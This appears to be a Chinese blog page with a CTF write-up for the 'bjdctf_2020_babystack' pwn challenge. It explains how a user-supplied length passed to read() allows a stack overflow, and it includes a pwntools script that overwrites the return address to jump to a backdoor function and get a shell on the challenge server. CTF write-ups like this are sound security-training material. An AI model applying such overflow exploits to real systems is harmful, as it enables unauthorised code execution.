当前位置:网站首页>bjdctf_2020_babystack
bjdctf_2020_babystack
2022-06-24 07:22:00 【[mzq]】
bjdctf_2020_babystack

checksec 一下 64比特程序 沒開啥東西 ,ida看一下程序
main函數
咋一看read函數讀入0個字符串,讀了個寂寞,scanf也不能溢出,好像沒有問題
但是scanf會讀入一個用戶輸入的數賦值給nbytes ,然後read會讀取nbytes大小的字符,也就是說我們可以任意溢出長度
backdoor函數
運行這個函數直接拿到shell
exp
ret 是為了平衡棧 其實往backdoor函數後遞+1也行
from pwn import *
io = process("./bjdctf_2020_babystack")
io = remote("node4.buuoj.cn",29159)
elf = ELF("./bjdctf_2020_babystack")
context(log_level="debug",arch="amd64")
backdoor = elf.symbols["backdoor"]
ret = 0x0000000000400561
print backdoor
io.sendlineafter(b"Please input the length of your name:","100")
payload = "a"*16 + "b"*8 + p64(ret) + p64(backdoor)
payload = flat(["a"*16,"b"*8,ret,backdoor])
io.sendlineafter("What's u name?",payload)
io.interactive()

边栏推荐
- 【云驻共创】华为云HCIA-IoT V2.5培训系列内容之物联网概览
- 现货黄金有哪些值得借鉴的心态
- [problem solving] virtual machine configuration static IP
- JVM debugging tool -jstack
- Huawei cloud database advanced learning
- Software performance test analysis and tuning practice path - JMeter's performance pressure test analysis and tuning of RPC Services - manuscript excerpts
- 【Proteus】Arduino UNO + DS1307+LCD1602时间显示
- 在js中正则表达式验证小时分钟,将输入的字符串转换为对应的小时和分钟
- OMX的初始化流程
- JVM調試工具-Arthas
猜你喜欢

Unexpected token u in JSON at position 0

电脑如何打开软键盘,教大家Win10如何打开软键盘的方法

关于取模数据序号定位的说明 区码定位是指GBK编码
![[WordPress website] 5 Set code highlight](/img/01/f669b70f236c334b98527a9320400c.png)
[WordPress website] 5 Set code highlight

伦敦金的资金管理比其他都重要

Leetcode概率题面试突击系列11~15

PIP install XXX on the terminal but no module named XXX on pycharm

Win11怎么设置让CPU性能全开?Win11CPU怎么设置高性能模式?

20个不容错过的ES6技巧

【均衡器】LS均衡器,DEF均衡器以及LMMSE均衡器的误码率性能对比仿真
随机推荐
[DDCTF2018](╯°□°)╯︵ ┻━┻
第三方软件测试公司如何选择?2022国内软件测试机构排名
Huawei cloud database advanced learning
捏脸师: 炙手可热的元宇宙造型师
Development of IOT device end - establishment of development environment
【图像分割】基于形态学实现视网膜血管分割附matlab代码
Learning to use BACnet gateway of building control system is not so difficult
1. go deep into tidb: see tidb for the first time
Multi sensor fusion track fusion
On update current in MySQL_ TIMESTAMP
OMX的初始化流程
A case study of apiserver avalanche caused by serviceaccount
How to distinguish PAAS, IAAs and SaaS?
FreeRTOS MPU makes the system more robust!
Intelligent Vision Group A4 paper recognition example
【图像融合】基于伪 Wigner 分布 (PWD) 实现图像融合附matlab代码
get_started_3dsctf_2016
The first common node of two linked lists_ The entry of the link in the linked list (Sword finger offer)
在终端pip install xxx但在pycharm却no module named xxx
What is an intrusion detection system?